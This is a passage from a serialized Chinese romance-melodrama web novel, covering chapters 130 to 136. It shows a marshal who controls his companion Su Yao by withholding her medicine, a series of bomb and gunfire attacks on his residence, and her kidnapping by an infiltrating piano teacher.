“少帅到底是在生谁的气？” 沈知聿淡淡看他一眼，径直抬脚走了。 萧纵手背青筋暴起，却什么都没说。 他也不知道，那些话是说给沈知聿听的，还是说给他自己听的？ 他知道自己对不起苏姚，该弥补她，却连一半的真心都没拿出来。 他有些无力，在苏姚经常坐的那个位置上坐了下来，抬手抹了把脸，“苏姚……” 想起苏姚刚才的反应，心慌越发严重，他不得不又抽了根烟出来，却根本没有抽的心情，只有心脏越跳越快，越跳越快，乱得他做什么都没心情。 忽然，他想起了什么，转身大步进了门，一路上了三楼，将苏姚的那些药又上了两道锁，这才稍微松了口气。 药还在自己手里，就出不了乱子。 他是亲眼见过苏姚没有药的后果的。 他不敢再冒险，但同样的，苏姚也不敢。 所以，只要药在，苏姚就只能呆在他身边。 他靠在门上，许久才平复了心情，陈施宁和褚英已经都走了。 是管家见他迟迟不下来，才自作主张找了个借口，将人请走的。 萧纵没说什么，看了苏姚的房门很久，才推门进去。 她的房间在重新修整，她就搬到了客房去住，房门已经又恢复了不会上锁的样子，轻轻一推就开了。 苏姚坐在床上发呆，手里拿着一只蝴蝶，他没见过，不由多看了两眼。 但苏姚的东西他很多都没见过，所以也没多想，只走过去，往她身边一坐，抬手拥住了她，“苏姚，刚才的话……” 他有心和苏姚解释，那并不是他的真心话，他没有那么瞧不起苏姚。 可话到嘴边，却发现自己找不到任何依据。 他找不到任何自己瞧得起苏姚的证据。 他便只好沉默。 “少帅说的都对。” 苏姚轻声开口，她不想知道萧纵要说什么，一个字都不想听，但她知道男人想要什么答案。 所以她很配合，很顺从。 萧纵却没有因为她的反应而感受到丝毫喜悦和放松，反倒是心都凉了半截。 他扳过苏姚的肩膀，逼着她看向自己。 他觉得他们得谈一谈。 可还不等他开口，远处陡然响起一阵爆炸声。 他脸色一变，连忙起身查看。 就见离帅府两条街外的地方，火光冲天，爆炸声此起彼伏。 他眸光陡然锋利，布了这么久的局，今天终于可以收网了。 “苏姚，我要出去一趟，你在这里等我，回来我有话和你说。” 苏姚乖巧地应了一声。 看着她这幅样子，萧纵心里有些不安，可现在却不得不离开。 他又看了一眼苏姚，强压下复杂的情绪，转身大步走了。 房门被关上，苏姚抬起手，指尖还捏着刚才那只布艺的蝴蝶。 许是因为手抖的缘故，蝴蝶的翅膀一直在颤动，仿佛下一瞬就要挣脱她的束缚，展翅飞走了一样。 苏姚指尖抬了抬，想去摸一下那翅膀，可那手在半空停了很久，最后还是没有摸下去。 第131章 我有听话 外头的爆炸持续了很久，府里的佣人三三两两地聚在一起看热闹。 他们已经习惯了这种混乱。 苏姚没有出去，她现在对什么都提不起兴趣，只站在窗前发呆。 忽然，一股毫无预兆的危机感涌了上来，不等她感受清楚，一道近在咫尺的爆炸声陡然响了起来，许是炸弹就在主楼附近，以至于爆炸的瞬间，整栋楼都跟着颤动了起来。 佣人们再没了看热闹的心情，尖叫声此起彼伏。 苏姚陡然想起萧茵来，连忙出门去找人，迎面却遇见了金锦。 萧纵带走了大部分的人，留下了金锦护卫他们。 她一把抓住金锦的手，“看见茵茵了吗？我们分头去找茵茵。” 金锦拒绝得很干脆，“分开不安全，你跟我一起。” 苏姚想争辩什么，却被金锦打断了，“你现在不能自保，出去了也只会添乱，再说，你出了事，我也不好和少帅交代，所以还是一起吧。” 苏姚张了张嘴，却没再说什么，跟着金锦去敲萧茵的房门，可怎么敲里头都不开。 “茵茵你在不在？你在的话把门打开。” 苏姚用力拍打着门板，指尖的伤口承受不住这样的撞击，很快就崩裂开来，殷红的血迹渗透了纱布，可里头却仍旧没有反应。 “去琴房看看。” 金锦拉着她就走，可琴房里也没有人。 苏姚急的额角都是汗，“有人看见小姐了吗？” 佣人们没有回答，倒是管家被引了过来，发现萧茵不在之后，立刻厉喝一声，“都别乱，给我去找小姐，要是小姐出了事，你们都得陪葬！” 管家积威甚重，佣人们很快就强行冷静了下来，开始到处找萧茵，却一无所获。 苏姚猛地想起来，“秦芳年的房间呢？找了吗？” 这种时候，谁还能顾得上秦芳年？ 苏姚一提，金锦才想起来这个人，连忙带着她朝秦芳年的房间过去，敲了几下没有应答之后，金锦抬腿就朝着门锁踹了过去。 房门被推开的瞬间，里头响起两声尖叫，定睛一看，正是缩在床上的萧茵和秦芳年。 金锦脸色发黑，“外头找人的动静那么大，为什么不回答一声？” 萧茵有点理亏，不由缩了下脖子。 秦芳年却瘪了下嘴，“外头爆炸那么吓人，我们怎么知道你们是敌是友？” 金锦气得直咬牙，苏姚劝了她一句，现在不是内讧的时候，她连忙进去将萧茵拉了出来，垂眸的瞬间，却发现床上有很多草屑。 她下意识多看了两眼，却顾不上多想，拉着萧茵紧紧跟在金锦身边。 金锦也强压下了火气，抬手隔空点了点秦芳年，转身走了。 秦芳年却追了上来，委委屈屈地跟在几人身边。 警卫们训练有素，一队排查，一队戒严，还有一队将主楼守护得密不透风。 “放心吧，没事的。” 金锦温声安抚，苏姚道了谢，目光落在萧茵身上。 大约是外面的确很危险，所以萧茵也没顾得上再和苏姚生气，紧紧靠着她，但苏姚却忽然想起什么似的，猛地站了起来，“我得回去了。” 众人都有些茫然，金锦忍不住开口，“现在房间里还不安全。” 苏姚当然知道，但是—— “少帅让我在房间里等他，我得回去。” 金锦很不解，“这里和房间里有什么区别？” 苏姚摇摇头，她没再解释，只喃喃道，“我得听话，我得听话……” 金锦听见了，神情逐渐错愕起来。 她听说了自从上次出事之后，苏姚的状态就不对劲，但没想到已经病态到了这个地步。 “苏小姐，上头不安全，少帅不会计较的。” “我得听话。” 苏姚仍旧重复，金锦还要再劝，苏姚已经抬脚上了楼。 外头又是一声爆炸，主楼跟着一颤，头顶的琉璃灯更是晃个不停，金锦忍不住看向苏姚，却见她扶着楼梯，一步步回了房间。 她分身乏术，只能先顾及萧茵。 帅府的爆炸持续了很久，好在萧纵很快就回来了，他一进门看见萧茵就先松了口气，随即才发现苏姚不在，脸色瞬间变了，“苏姚呢？” 金锦脸色复杂，“还在房间里。” “你是怎么办差的？这么危险为什么让她在房间里？” 萧纵骂了一声，大步上了楼，房门一推开，就看见了满地的玻璃，应该是被爆炸震碎的。 苏姚还维持着他之前离开的姿势，坐在床边看着手里的蝴蝶。 萧纵一把将人拉了起来，“为什么不下去？你知不知道这里很危险？” 像是为了印证他的话，外头又是一声巨响，随即头顶的灯晃了两下，朝地面砸了下来，萧纵一把揽过苏姚，带着她避开了。 他心脏狂跳，都是后怕，如果自己没有及时回来，没有及时把她拉走，那现在，这灯就砸在苏姚头上了！ 心里的火气陡然翻腾起来—— “你在想什么？为什么不下去？会出人命的！” 他厉声呵斥，连她的解释都不肯听，拉着人就往楼下走。 “我有听话。” 身后传来苏姚的声音，音量很低，萧纵走了好几步才注意到她开了口，停下脚步看了过来，“你刚才说什么？” 他语气仍旧不好，带着汹涌的怒意。 “我有听话。” 萧纵一滞，苏姚说什么？ “你让我在这里等你，我有听话。” 苏姚仰头看过来，一字一顿地重复。 听话…… 萧纵心脏猛地一颤，浑身躁动的火气一瞬间被浇了个透彻。 他的确是要苏姚听话，但他没想过让她做到这个地步。 他是想让苏姚恢复以前的样子，但他没想过要苏姚不顾生死啊。 “苏姚，我不是这个意思。” 他再顾不上生气，满腔都是懊恼和后怕。 苏姚充耳不闻，看着他，再次重复：“我有听话。” 萧纵心脏直抖，抖得连话都说不出来。 他只能牵着苏姚下了楼，紧紧握着她的手，珍宝一般片刻都不肯松开，甚至连萧茵都没顾得上关心两句。 秦芳年眼珠子咕噜噜一转，看看萧茵，又看看苏姚。 金锦似是察觉到了什么，猛地看了过来，秦芳年迅速低下头，缩着肩膀，一副惊恐万分的模样。 金锦皱了皱眉，是她的错觉吗？ 外头的爆炸声逐渐停歇，炸弹应该是都被拆除了，于修明和萧翼一前一后走了进来，“少帅，都排查清楚了，炸弹是自制的霹雳炮，硫磺可以从医疗室获取，石灰是现成的，所以没有引起怀疑。” 萧纵从有些汹涌的后怕里回过神来，他抓着苏姚的手亲了亲，才低声开口，“霹雳炮没有水不行，看来对方就是在等这个雨天。” “少帅所言极是，” 萧翼应了一声，“而且炸弹的位置安放得十分讲究，恐怕不是个寻常人，而且一下雨，把痕迹都充没了，查也不好查。” “无妨，反正抓回来了不少，都交给你审问。” 萧纵看了在场众人一眼，“把内鬼给我审出来。” 萧翼敬了个礼退了下去。 萧纵抹了把脸，挥挥手让众人散了，随即他才拉着苏姚回了自己的房间。 他和萧茵的房间都是特殊防护的，和客房不是一回事。 “苏姚，我们谈谈。” 一进门萧纵就开口，苏姚没注意他说了什么，只睁大了眼睛看着窗外，刚才，她好像看见外头闪过了一道影子。 第132章 她有问题 “苏姚？” 萧纵又喊了一声，苏姚这才转身看过来，“少帅。” 萧纵拉着她坐下，脑海里却总是闪过刚才的凶险，他再次抓住了苏姚的手，“苏姚，我要你听话，不是要你做到这个地步。” 他抓着苏姚的手，抵在自己胸口，“你不能拿你的命开玩笑。” 苏姚静静看着他，却是既没有答应，也没有反驳，好一会儿她才轻声道：“一样的。” 萧纵怔了一下才明白她的意思，她以为离开那个房间的下场，和不离开是一样的。 她还是认为，那换了的药，是萧纵给她的惩罚。 一阵浓重的无力感席卷全身，萧纵总算明白了说话没人听的感觉。 在苏姚一次次的喊疼，却没人理她的时候，她就是现在这种感觉吗？ 他长长地叹了口气，知道一时半会儿没办法说服苏姚，只能继续拿药威胁她，“苏姚，以后再发生这种事，你要以自己的安全为主，不然，你的药就拿不到了。” 苏姚目光一颤，身体骤然紧绷，她死死盯着萧纵，许久之前的那股恨意仿佛又涌了上来。 然而不过只是一刹那，便又成了一潭死水。 她就是条陷在干涸泥坑里的鱼，怎么都挣脱不开的。 “我知道了。” 苏姚听见自己的声音响起来，麻木得有些陌生。 萧纵似是猜到了她的神情，垂下眼睛，不敢再去看她的脸色。 “夜深了，睡吧。” 他想去抽根烟，但想等苏姚睡着了再去。 可苏姚却不肯躺下。 “怎么不睡？” 苏姚木然地看着他：“我的身份……” 萧纵陡然意识到了她要说什么，一把捂住了她的嘴，“苏姚，别说了，闭眼，睡觉。” 苏姚确认似的看了他两眼，才慢慢闭上了眼睛，没多久，她呼吸就均匀了起来。 萧纵却彻底没了睡意。 他起身去了小客厅，一根接一根地抽烟，浓重的懊悔充斥着整个胸腔。 就在今天带人回来的时候，在看见苏姚主动迎接他的时候，他甚至还想着，能维持这个假象也好，还有缓和。 但现在…… 明天得派人跟着苏姚，免得再出什么事，唯一值得庆幸的是，药还在自己手里，苏姚被钳制得死死的，一切都还在掌控中。 天色一点点亮起来，萧纵脑袋疼得厉害，可还是得去军部，早先转移唐黎的时候，他就准备好了会有人动手，昨天收网了，萧翼应该也审出了一些东西，他该去找人算账了。 他往旁边看了一眼，却见苏姚不在。 他一个机灵坐了起来，下意识以为苏姚不见了。 但很快，他就想起了那些药，苏姚肯定还在这里。 他静下心来，屏气凝神听周围的动静，卫生间里传来水声，他抬脚走过去，果然是苏姚在洗漱。 他心下大定，和苏姚腻歪了一会儿就去了军部，只是昨天受的惊吓还在，让他多少都有些魂不守舍，忍了又忍，他往回帅府拨了个电话。 管家接了起来，还没说话就先叹了一声，“少爷，一小时你打五遍电话了，苏姚就在凉亭晒太阳，没有出去，她也出不去，小五就跟在边上伺候呢。” 萧纵没在乎他话里的抱怨，确定人没事，心满意足地挂了电话。 管家却有些无奈，下意识通过会客厅的窗户看了凉亭一眼，却发现人没在，他吃了一惊，连忙迈着两条老腿去找人。 进了花园才看见，苏姚正盯着一个炸出来的弹坑在看。 他松了口气，又有些埋怨，少爷太过紧张，害得他也疑神疑鬼了起来。 萧翼审了人一宿，出来喘口气，刚好瞧见这一幕，明知道不该靠太近，可还是走了过去。 “苏小姐，你在干什么？” 苏姚将一片草叶举了起来，这里原本是一簇引种矮蒲苇，整个海城都没几株，但现在只剩了一个弹坑，苏姚找了一会儿才找到几片草叶。 而这些草叶，和昨天她在秦芳年床上看见的，一样。 她不想多生事端，但秦芳年和萧茵走得太近了，她不得不多加小心。 “萧副官，能请你帮个忙吗？” “当然。” 萧翼一口答应下来，甚至都没问是什么。 苏姚将草叶递过来，“你能不能帮我查查秦芳年？我觉得她可能和昨天的爆炸有关系。” 萧翼一愣，随即笑开，“苏小姐，如果你要查旁人，我现在立刻就去，但是姓秦的……” 他话里带着无奈，“这个人从进帅府起，我就一直盯着，她除了脑子不正常外，没什么问题。” “我能问问，为什么这么说吗？” 萧翼索性蹲了下来，将那天的乌龙事件说了一遍，“要不是小姐喜欢她，少帅早就把人扔出去了，这个女人的脑子不正常，少帅都不喜欢她，也不知道她哪里来的自信，竟然还想取代唐小姐……” 他立刻意识到自己说错了话，连忙找补，“苏小姐，我不是那个意思……” 苏姚摇摇头，并不在意，她只关心秦芳年。 “所以，萧副官觉得她没有问题？” 萧翼点点头，“的确没问题，但如果苏小姐不放心的话……” 苏姚摇了摇头，“不用了，多谢。” 她不知道萧翼是真的这样觉得，还是单纯在推脱，却并不打算继续强求。 无亲无故的，对方没有理由答应她。 就自己多花点心思吧。 她回了凉亭，一直到中午，她才被佣人请回主楼，一进门却刚好撞见几个警卫将秦芳年押着往外走。 她脚步一顿，有些意外。 “苏小姐，” 萧翼走了过来，苏姚有些茫然地看向秦芳年，“为什么抓她？” “你不是怀疑她吗？索性趁这个机会，我带过去诈一诈。” 苏姚没想到他最后还是帮了自己，有些不知道该怎么感谢他。 萧翼看着她，目光温和，“苏小姐不用客气。” 能帮上你，我已经很高兴了。 但后半句话，他不会说出来，简单寒暄两句，他就追着押送人员去了副楼。 苏姚正要往里走，却见萧茵站在琴房门口。 大约是因为受了惊吓，所以今天没去上课。 苏姚欢喜起来，“茵茵……” “你太可怕了！” 第133章 下九流 萧茵一句话脱口而出，瞬间止住了苏姚往前的脚步。 “你就因为不喜欢，就把秦老师关起来吗？你怎么能这样？” 萧茵声嘶力竭地质问她，小脸上都是泪痕。 苏姚连忙解释，“茵茵，我是为了你的安全着想，如果她和昨天的爆炸有关系，那你跟着她会很危险。” “借口！” 萧茵喊了一声，“秦老师说得对，你这种下九流的出身，能是什么好人？！” 苏姚一愣，萧茵在说什么？ 她脑海一片空白，很久很久都没反应过来萧茵话里的意思。 她刚才，说了什么？ 萧茵也愣住了，她也没想到自己会说出这种话来。 嘴唇下意识地动了动，她想和苏姚道歉，可想起刚才秦芳年被抓走的样子，她又没能开口，最后索性捂着脸上了楼。 算了，不道歉就不道歉吧，反正苏姚也不会真的生她的气。 哒哒哒的脚步声很快消失在耳边，苏姚的脑海里却一片混沌，呆呆地站在原地。 直到有人揽住她的腰，她才浑身一颤，骤然回神。 “怎么在这里发呆？” 萧纵拥着她去了沙发。 苏姚这才发现，天已经完全黑了，她竟然在这里站了这么久。 目光不自觉看向二楼，萧茵的房门还关着，她还没出来。 “你看过菜品了吗？” 萧纵找了个话题，苏姚收回目光，打起精神应了一声，“看过了，都很好。” 萧纵刚拿到菜品单子，随意一瞥，却刚好看见了甜品那一列里明晃晃写着芒果蛋糕。 他目光顿了顿，扭头朝苏姚看了过来。 是没看见，还是一点都没上心？ 他恍然有种自己在做无用功的错觉，好像不管做什么，都无法再弥补和苏姚之间的裂痕。 可其实，他能做的还有很多，只是他不愿意，他不舍得更大的利益。 苏姚，看在药的份上，别计较那么多，好吗？ 他叹了口气，正要岔开话题，萧翼就拿着两个文件夹走了进来。 “少帅，该问的都问清楚了。” 他将手里的文件夹递了过来，另一个却给了苏姚，萧纵挑了下眉，“是什么？” 萧翼连忙解释，“苏小姐觉得昨天的爆炸可能和秦小姐有关系，属下就把人请过去问了几句话。” 萧纵有些意外，苏姚竟然在怀疑秦芳年？ 可，为什么不是告诉自己，而是告诉了萧翼？ 嘴唇动了动，他很想问问苏姚理由，可话到嘴边，却又咽了回去。 算了，反正答案也不是自己想听的，好在还有时间，慢慢来吧。 他在苏姚发间落下一个亲吻，这才看向萧翼，“秦芳年那边，有问出什么来吗？” 萧翼摇头，“和那天被抓的时候一样，没什么有用的东西。” 萧纵不意外，拍拍苏姚的手，“听见了吗？秦芳年这人行事虽然古怪，但不值得你在她身上浪费时间，她翻不出风浪来的。” 苏姚垂眸看着手里的文件夹，轻轻应了一声，既然萧纵和萧翼都这么说，那应该是自己想错了吧？ 也对，事情怎么会那么巧？ 见她不再开口，萧纵这才翻开自己手里的文件，随即目光定格在一行口供上，“总统的人？” “是。” 萧翼应了一声，“属下猜测，这些人和孙少甫脱不了关系，他此来海城，抓捕教授怕是个幌子，真正想要的，应该还是唐小姐。” 萧纵敲着文件夹笑了起来，他将两页口供摘出来，剩下的合上扔回给了萧翼，“太不像话了，怎么能随便攀咬总统呢？这样会给我惹很多麻烦的，我们和总统，可是很亲密的。” 萧翼明白了他的意思，立刻改了口，“还是少帅明察秋毫，属下差点就被骗了。” 萧纵将剩下两页口供递过去，“按这个拜访吧，请他们来帅府喝茶。” 那口供上是攀咬的别人，虽然未必和这件事有关系，但身处名利场，谁都不清白，肯定能刮层油下来。 萧翼双手接过，躬身退了下去。 萧纵的注意力这才转移到苏姚身上，却发现苏姚正看着自己，眼底难得有了波澜，感觉却很奇怪。 “怎么了？” 他有些纳闷，苏姚垂下眼睛，“既然冤枉了秦小姐，我想去道个歉。” 萧纵忍不住笑了，“冤枉就冤枉了，你和她道什么歉？” 他拉着苏姚就要上楼，苏姚难得小声辩解了一句，“茵茵会怪我。” 萧纵磨了磨牙，“又是这小崽子，她说你什么了？” 苏姚有些想不起来萧茵刚才说了什么了，只好摇头。 萧纵无奈，“吃了饭再去，小事而已，别放在心上。” 苏姚被他拉着去了餐厅，萧茵没有下来，显然还在生气，苏姚想，自己可能真的做错了，只因为一点巧合，就让人被押去审问，的确是很过分。 用完饭，萧纵陪着苏姚去开了珠宝间的门，挑了样小首饰，算是给秦芳年的赔礼。 萧纵觉得她有点小题大做，但不想反驳她，所以还是答应了。 只是他没能陪苏姚过去，因为他还有很多事情要做。 苏姚自己去了秦芳年的房间，半路上刚好遇见厨房的孙姐端着药迎面走过来，看样子是给秦芳年处理伤口去了。 看见苏姚的时候，孙姐的脸色有些尴尬，“姨太，您这是要去干什么？” 说话的档口，她脚下一挪，挡住了苏姚的去路，她垂眸看过去，孙姐脸色有些尴尬，迈出去的脚步又收了回来，“是秦老师刚上了药，很虚弱，已经睡了，姨太还是别去了。” 苏姚觉得她口中的那两个字莫名地有些刺耳，却没有强调她现在还不是，但她也没有要回去的意思。 气氛莫名有些僵持。 最后，还是孙姐让了路，捧着药讪讪退开了。 秦芳年的锁昨天被金锦踹坏了，还没来得及修好，苏姚敲门的动作刻意放轻了，免得不留神将门擅自推开。 可敲了许久竟然都没得到回应。 “秦芳年？” 她喊了一声，里头仍旧没有动静。 难道人出事了？ 她犹豫了一下，用力推了推门，可门竟然纹丝不动。 透过锁洞看了一眼，才发现门好像被什么东西堵住了，看这个高度，好像是个衣柜。 可是衣柜那么重，秦芳年一个钢琴教师，还受了伤，搬得动吗？ 刚压下去的怀疑又涌了上来，苏姚转身去找萧纵，却刚好看见萧纵在和金锦说话，两人神情都有些凝重。 “少帅。” 她忍不住开口，“秦芳年好像不太对劲……” 不等她将话说完，萧纵就看了过来，“苏姚，你先上去，听见什么动静都别出来。” 苏姚又回头看了眼秦芳年的房间，还想再说什么，萧纵已经走了。 第134章 被盯上的人 苏姚只好将嘴边的话咽了下去，金锦看了过来，催促道：“苏小姐，上楼吧。” 苏姚不想给她添乱，只好上了楼，金锦却没跟上来，反而进了萧茵的房间，她有心问一句发生了什么，却没人告诉她。 素来是这样的，帅府发生的事情，她什么都不知道。 原本应该是习惯了的，可今天却莫名的不安。 她叹了口气，将柜子上的药瓶拿过来，紧紧攥在掌心里，仿佛只有这样，才能安抚自己忐忑的心情。 只是还不等她彻底平复，灯光就闪烁两下，瞬间黑了下来。 又停电了。 但很快，她就意识到，这不只是停电那么简单。 因为伴随着黑暗的降临，外头响起了枪声。 有人袭击了帅府，她有一瞬间怀疑过是褚英，可对方要针对的是她，应该不至于对整个帅府下手。 她将手电筒摸出来，挣扎着想下楼去找萧茵，但很快就想起来，金锦去了二楼。 她后知后觉地反应过来，针对这场袭击，帅府应该是有防备的。 只有她，什么都不知道。 她不敢呆在外头，怕手电筒的光会引来敌人，只好扶着墙进了卫生间。 镜子映照出她白惨惨的脸，她连忙闭上眼睛，不敢再看，蜷缩在门口，盯着手电筒长长的光柱看。 时间仿佛被无限拉长，外头的枪战好像怎么都不会结束一样，有几发子弹打破玻璃，射了进来，她听见了动静，心里并没有多恐惧，身体却控制不住地瑟缩了一下。 她更紧地蜷缩了一下身体，却很快就察觉到了身体的异样。 她刚才的那一下瑟缩，不是因为害怕，而是身体不合时宜地发作了。 值得庆幸的是，她一直抓着自己的药。 她连忙将药倒出来吃了，这种情况，她不可能指望医生过来给她输液止疼，只能靠这两片药了。 她顺手摘了条毛巾，死死咬在嘴里。 痛苦将本就漫长的时间拉得更长，不知道过了多久，在她的意识逐渐模糊的时候，外头的枪声稀稀拉拉地停了下来。 是结束了吗？ 她迷迷糊糊地想，抖着手想去开门，身上却没力气，她只好作罢。 结束了的话，这里就是安全的，不管她出不出去都无所谓。 再等一等吧，等身体好一些之后…… 她再次闭上了眼睛。 外头却忽然响起了脚步声，在有些混乱的夜色里，其实并不明显，但对方好像穿了皮鞋，虽然刻意放轻了脚步声，但皮革落下的动静，再怎么克制，还是无法完全遮掩。 有人上来了？ 能上三楼的人，就那么几个，何况这还是萧纵的房间，苏姚几乎是下意识的以为，来人就是萧纵。 可很快，她混沌的大脑就察觉到了不对劲。 如果是萧纵的话，他不会刻意放轻脚步。 而且这种时候，他应该在下面主持大局的。 她拿不准外面的人到底是谁，可大约是从小摸爬滚打练出来的本事，让她凭借本能察觉到了危险。 她将手电筒扣在了地上。 卫生间里的亮光瞬间消失，黑暗放大了神经，苏姚一边忍受着身体的剧痛，一边极力克服着对黑暗的恐惧，还要强撑着去听外头的动静。 对方不知道是不是察觉到了什么，刚才那刻意放轻的脚步声突兀地消失了。 苏姚下意识屏住呼吸，将耳朵贴在了门板上。 说话声，惨叫声，咒骂声远远近近地响起来，此起彼伏，片刻不停。 可却衬得这座房间越发安静，静得让人心慌。 心跳声越来越响，擂鼓一般不停地在耳边轰鸣，恍惚间有种要敲破胸腔跳出来的错觉。 她抖着手捂住胸口，强行平复了心跳，另一只手慢慢摸向了手电筒，这是目前唯一能用的工具。 可湿滑的掌心却有些不停使唤，她咬了咬牙，怎么就非要这时候发作…… 外头的脚步声再次响了起来，听脚步的方向，应该是去了卧室，但没多久人就出来了，然背后又去了衣帽间，似是也没找到想找的东西，于是脚步声再次由远及近。 这动静，应该是朝着自己来了，怎么找得这么快？ 脑海里忽然冒出个古怪的念头来，对方可能不是来找东西的。 可来这个房间的话，不找东西就只能是找萧纵，但萧纵在下面…… 是来找自己的？ 她觉得这个猜测十分荒谬，但不等她细想，那脚步声就越来越近，越来越近，随即猛地停住。 对方就在门外。 苏姚心跳猛地顿住，一瞬间没敢再呼吸，隔着一扇薄薄的门板，她几乎都能感觉到对方呼出来的热气。 “苏小姐？” 外头忽然响起萧翼的声音，苏姚骤然一松，来的人是萧翼吗？ 但很快，她就意识到了不对劲，因为那声音，不是在门外响起的。 下一瞬，萧翼变了调的声音就响了起来，“你是谁？” 伴随着声音落下，几声枪响接连响起，有远有近，此起彼伏，苏姚只觉耳边轰隆直响。 她不敢出声，仍旧靠在门边咬着毛巾。 很快枪声就停止了，随后她听见了重物落地的动静，心里不由一紧，是谁倒下了？ 但很快她就想明白了，如果赢了的人是萧翼，那现在外头应该已经响起了他的呼喊声。 像是为了验证她的猜测，卫生间的门被轻轻敲了一下。 苏姚连忙将门反锁，可并没有用处，她听见了细微的动静，随即咔嗒一声，锁吱呀一声被解开，随即房门被重重推开。 苏姚连同门板一起，被推倒在地，手电筒也被撞倒，灯柱映照下，一道漆黑的影子，出现在她眼前。 第135章 苏姚被抓走了 “先把电路修好，尸体赶紧处理。” 混战终于告一段落，萧纵一边借着应急灯的光亮缠着胳膊上被流弹擦出来的伤口，一边开口催促。 警卫们答应一声，加快速度搬运尸体，佣人们也从藏身地钻出来，拿起抹布擦拭地面和家具上迸溅的血迹，顺带将损毁的家具抬下去，再重新换了新的来。 忙碌间，金锦开门看了楼下一眼，见客厅里已经没有血渍呼啦的尸体了，这才牵着萧茵下楼。 “够惨烈的，这是冲着灭口来的，还是想灭咱们帅府的门啊。” 金锦啧啧摇头，将一块不知道是什么部位的碎肉踩在脚下，等萧茵走过去，才掏出帕子，捏起来扔进了垃圾篓。 “动静的确有点大。” 萧纵狠狠一咬纱布，将伤口勒了起来，朝萧茵招了招手，小丫头立刻跑了过来。 萧纵拉着她看了两眼，确定她没事，目光才落在金锦身上，见她衣衫整齐，帽子也很端正，眉心一蹙，“你那边没出事？” 金锦摇摇头，“没有人进来，兴许是怕了？倒也好，省了咱们的麻烦。” 萧纵眉头蹙得更紧，仰头看了眼二楼，片刻后才开口，“都安排好了？这次要是再让人糊弄了，我的脸可就丢光了。” “您放心，绝对不会。” 金锦打了个包票，目光扫过人群，却忽然发现少了一个，“苏小姐呢？” “萧翼上去接了。” “这种时候，少帅不亲自去？” 金锦调侃一句，萧纵瞥她一眼，“都乱成一锅粥了，我怎么走得开？再说她本来不起眼，我若是去找她反而会将注意力……” 几道枪声猝然响起，打断了萧纵没来得及说完的话。 他猛地站了起来，仰头朝楼上看去，那枪声，是从三楼传过来的。 而三楼…… 他心头猛地一颤，抬脚就往楼上去，众人此时才回神，纷纷再次戒备起来。 金锦骂了一声，将萧茵交给于修明，自己带人追了上去。 就迟了这两秒的功夫，萧纵已经蹿上了三楼。 房门开着，里头没有声音。 可惜的是应急灯只照亮了客厅，楼上仍旧漆黑一片，哪怕萧纵就站在门口，也看不清楚里面的情形，却清楚地闻见了混着硝烟的血腥味。 有人受伤了。 会是苏姚吗？ 指尖紧了紧，出了一层滑腻的汗，他悄悄给枪上了膛。 随着一阵滋啦声，电路被修好，帅府恢复了供电，眼前的房间也恢复了明亮，萧纵没敢眨眼睛，硬生生忍住了强光的刺激，在这一刹那极快地扫过房间。 房间里没有别人的影子，只有萧翼伏在地上，身下一滩血迹。 “来人！” 他大喊一声，金锦快步冲了进来，看见屋内的情形一愣，快步过去查看萧翼的情形。 他伤得不轻，但好在都没在要害，她松了口气，连忙让人把他抬下去。 “苏姚！” 萧纵的喊声传过来，她抬头，就见男人大步往卧室去。 “少帅，小心啊。” 她喊了一声，见对方没有理会的意思，只能快步追了上去。 卧室空空荡荡，完全没有苏姚的影子。 金锦心里一突，该不会…… 但她没敢说，带着警卫四处搜查，但翻遍了整个房间，都没找到苏姚。 “少帅，金副官。” 大兵喊了一声，金锦知道这是有发现了，连忙看了萧纵一眼。 男人大步走了过去，卫生间的门开着，地上掉落了一条毛巾，和一个没来得及关上的手电筒。 萧纵将毛巾捡起来，攥紧了被咬烂的位置，手背上青筋凸起。 金锦叹了一声，看来她的预感成真了，苏姚真的被抓走了。 “封锁所有离开海城的路。” 萧纵咬牙开口，“把人给我找回来！” 金锦应了一声，立刻下去传令，萧纵的手却越抓越紧，他不明白，苏姚安安静静地藏在三楼，怎么会有人特意上来抓她？ “少帅。” 房门忽然被敲了两下，萧纵被迫回神，侧头看了过去。 于修明带着萧茵上来，脸色有些难看，“刚才小姐要去找秦老师，我们就去了她的房间，发现了一点东西……” “阿嚏。” 秦芳年猛地打了个喷嚏，又连忙捂住口鼻，警惕地看向外头。 海城已经戒严了，萧纵的动作极快，短短半小时，所有离开的渠道都被封锁了，街上也全都是巡逻的大兵。 她不敢轻举妄动，只能暂时缩在一个杂货堆后面藏身。 她默默算着换岗时间，抓住一个几秒的空档，舍弃了偷来的车，背着苏姚蹿到了街对面。 苏姚闷哼一声，似是被这动作弄疼了。 “闭嘴！” 秦芳年将人放下来，一抬手，黑洞洞的枪口就顶在了她额头，“你最好别给我添乱。” 苏姚仰头费力地喘息，“原来你……真的有问题，你是谁？来帅府……干什么？” “你管那么多干什么？” 秦芳年满脸不耐烦，“你只要知道，不听话就得挨枪子。” 苏姚垂下头，冷汗自下颚一滴滴落下。 秦芳年没再关注她，默默计算了一下换岗时间，随即再次将她背起来，跑到了下一栋房子里藏身。 房门刚关上的瞬间，外头就响起了脚步声，下一支巡逻队走了过来。 “你想用我，干什么？” 苏姚再次攒够了力气开口，但秦芳年显然没这个心情回答她。 “闭嘴。” 她呵斥一声，呼吸粗重，显然带着苏姚这么一个大活人逃跑，对她来说并不容易。 “说了你听得懂吗？” 她嘲讽出声，目光却落在了两条街外那座不起眼的民居上，她吐了口气，那是她的安全屋，只要到了那里，就能有支援。 她透过窗户缝隙往外头看了一眼，就见一队大兵背着枪快步跑了过去。 她连忙缩了下头，不敢让对方看见，手里的枪却仍旧紧紧抵着苏姚，唯恐她出声求救。 十分钟后，她终于找到机会，带着苏姚冲了过去，一口气闯进了屋子。 可刚要松口气，外头就骤然响起枪声，伴随着枪声，响起的还有大兵的呼喊—— “刚刚有人冲进去了！” 秦芳年骂了一声，顾不得再喘息，抓过苏姚，拽着她就从窗户里跳了出去。 第136章 要她留下的原因 “站住！” 呵斥声混合着枪声，一路追着她，秦芳年很清楚背着人跑不远，只能折返回去，重新上了车，带着苏就往城外冲。 她也知道自己现在出不了海城，所以这次的奔逃就是个障眼法。 海城里一共有两个安全屋，现在其中一个已经被发现了，她只能去另一个。 但在那之前，她得把众人的注意力转移开。 她一路横冲直撞，等将人甩开一点距离之后，就弃了车，一把火将车点了。 在熊熊燃烧的大火里，她捂着苏姚的嘴，逼着她跟着自己藏在了不远处的草丛里。 灯下黑的道理，这时候十分好用。 萧家的大兵们很快追了上来，领头的是个很眼生的人，但苏姚认识，那也是萧纵的副官，叫吕飞章，大约是从营地调出来负责追捕的。 “快，看看车上有没有人！” 